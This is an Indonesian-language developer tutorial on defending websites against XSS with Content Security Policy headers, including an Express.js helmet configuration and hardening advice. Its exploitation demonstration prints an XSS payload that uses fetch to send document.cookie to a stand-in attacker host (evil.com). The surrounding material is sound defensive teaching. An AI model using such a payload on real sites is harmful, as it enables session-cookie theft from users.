Mengamankan Website dari Serangan XSS dengan Content Security Policy Headers: Panduan Lengkap untuk Developer
Pernahkah Anda mendengar tentang Content Security Policy (CSP) header? Dalam dunia pengembangan web modern, keamanan menjadi prioritas utama. Serangan seperti Cross-Site Scripting (XSS) masih menjadi momok yang mengancam integritas data dan kepercayaan pengguna. Di sinilah peran CSP sebagai tameng pertama yang sangat efektif. Artikel ini akan membahas secara mendalam apa itu CSP, cara kerjanya, bagaimana mengimplementasikannya, serta langkah-langkah pencegahan yang bisa Anda terapkan hari ini.
Apa itu Content Security Policy (CSP)?
Content Security Policy adalah sebuah security header yang memungkinkan administrator website untuk mengontrol sumber daya apa saja yang boleh dimuat oleh browser. Dengan mendefinisikan kebijakan ini, Anda dapat mencegah browser mengeksekusi JavaScript berbahaya, memuat gambar dari domain yang tidak dikenal, atau mengirim data ke server pihak ketiga yang mencurigakan. CSP bekerja dengan cara memberikan instruksi langsung ke browser melalui HTTP response header bernama Content-Security-Policy.
Misalnya, jika Anda tidak pernah menggunakan inline script dalam kode, Anda bisa menetapkan kebijakan untuk melarang semua inline script. Jika ada upaya menjalankan script dari sumber tidak dikenal, browser akan langsung memblokirnya. Inilah yang membuat CSP menjadi pertahanan kuat terutama terhadap serangan XSS.
Cara Kerja CSP: Dari Header ke Browser
Server mengirimkan header CSP ketika merespons permintaan HTTP. Browser kemudian mengecek setiap sumber daya yang akan dimuat (seperti script, style, gambar, font, frame, dll) terhadap daftar yang diizinkan. Jika sumber daya tersebut tidak sesuai dengan kebijakan, maka akan diblokir dan mungkin dilaporkan ke endpoint yang ditentukan.
CSP mendukung beberapa direktif utama, seperti:
default-src: sebagai cadangan untuk direktif lain yang tidak disebutkan.script-src: mengontrol sumber script yang valid.style-src: mengontrol sumber stylesheet yang valid.img-src: mengontrol sumber gambar.object-src: mengontrol plugin seperti Flash.report-uriataureport-to: mengirimkan laporan pelanggaran.
Implementasi CSP: Contoh Kode Langsung
Mari kita lihat bagaimana mengimplementasikan CSP pada aplikasi web sederhana dengan Express.js (Node.js). Berikut adalah contoh konfigurasi CSP yang ketat namun fungsional:
// app.js (Express.js)
const express = require('express');
const helmet = require('helmet');
const app = express();
// Menggunakan helmet untuk memudahkan set header CSP
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://apis.google.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https://images.example.com"],
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
},
})
);
app.get('/', (req, res) => {
res.send('<h1>Website Aman dengan CSP</h1>');
});
app.listen(3000, () => console.log('Server aman berjalan...'));
Pada contoh di atas, kita:
- Hanya mengizinkan script dari domain sendiri dan Google APIs.
- Mengizinkan style inline (
'unsafe-inline') – ini biasanya perlu jika Anda menggunakan framework CSS yang menginjeksi style inline. Namun, sebaiknya hindari jika memungkinkan. - Mengizinkan gambar dari domain sendiri, data URI, dan domain images.example.com.
- Melarang plugin seperti Flash (
object-src 'none'). - Memaksa koneksi HTTPS dengan
upgradeInsecureRequests.
Jika ada sumber daya yang melanggar, browser akan memblokirnya. Tapi jangan khawatir, kita bisa menambahkan report-uri untuk menerima laporan pelanggaran.
Analisis Keamanan: Celah dan Demonstrasi Eksploitasi
Meskipun CSP sangat kuat, ada beberapa celah yang bisa dimanfaatkan oleh penyerang jika tidak dikonfigurasi dengan benar. Mari kita lihat satu contoh celah umum:
Celah: Mengizinkan 'unsafe-inline' pada script-src
Mengizinkan 'unsafe-inline' untuk script berarti semua script inline dapat dieksekusi. Ini membuka pintu untuk serangan XSS tradisional. Misalnya, jika aplikasi Anda memiliki celah yang memungkinkan injeksi HTML seperti:
<script>alert('XSS')</script>
Dengan script-src 'unsafe-inline', script tersebut akan berjalan. Penyerang bisa mencuri cookie atau merusak halaman.
Demonstrasi Eksploitasi Sederhana
Bayangkan sebuah halaman komentar yang menampilkan input pengguna tanpa sanitasi. Penyerang memasukkan komentar berisi:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
Jika CSP mengizinkan 'unsafe-inline' dan tidak ada pembatasan koneksi ke domain lain, maka script akan mengirimkan cookie ke server penyerang. Inilah mengapa kita perlu menghindari 'unsafe-inline' pada script dan menggunakan mekanisme nonce atau hash sebagai gantinya.
Cara Pencegahan yang Detail
Berikut langkah-langkah mitigasi yang bisa Anda terapkan segera:
- Jangan gunakan 'unsafe-inline' atau 'unsafe-eval' di script-src kecuali benar-benar diperlukan. Gunakan nonce atau hash untuk script inline yang sah. Contoh:
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`]
Kemudian di HTML:
<script nonce="<%= nonce %>">console.log('aman');</script>
- Batasi sumber daya ketat: hanya izinkan domain yang Anda kendalikan. Jangan gunakan wildcard seperti
*. - Gunakan report-uri atau report-to untuk memonitor pelanggaran. Dengan begitu Anda bisa mendeteksi upaya serangan atau kesalahan konfigurasi.
- Implementasikan upgradeInsecureRequests untuk memaksa semua konten melalui HTTPS, mencegah serangan man-in-the-middle.
- Uji secara bertahap dengan mode Content-Security-Policy-Report-Only terlebih dahulu. Header ini hanya melaporkan pelanggaran tanpa memblokir, sehingga Anda bisa melihat dampaknya di lingkungan produksi tanpa mengganggu pengguna.
- Gabungkan dengan praktik keamanan lainnya seperti sanitasi input, output encoding, dan penggunaan HttpOnly cookies. CSP bukanlah satu-satunya solusi, tapi merupakan lapisan pertahanan yang kuat.
Kesimpulan
Content Security Policy adalah salah satu alat paling efektif untuk melindungi website dari serangan XSS dan suntikan kode berbahaya lainnya. Dengan mengkonfigurasi header CSP secara ketat—menghindari unsafe-inline, menggunakan nonce atau hash, membatasi sumber daya, dan memonitor pelanggaran—Anda dapat secara drastis mengurangi risiko keamanan. Ingat, implementasi yang salah bisa membuka celah, jadi selalu uji di lingkungan staging terlebih dahulu. Mulailah sekarang dengan menambahkan header CSP ke aplikasi Anda, dan jadikan keamanan sebagai bagian integral dari siklus pengembangan. Website Anda akan lebih aman, dan pengguna pun lebih percaya.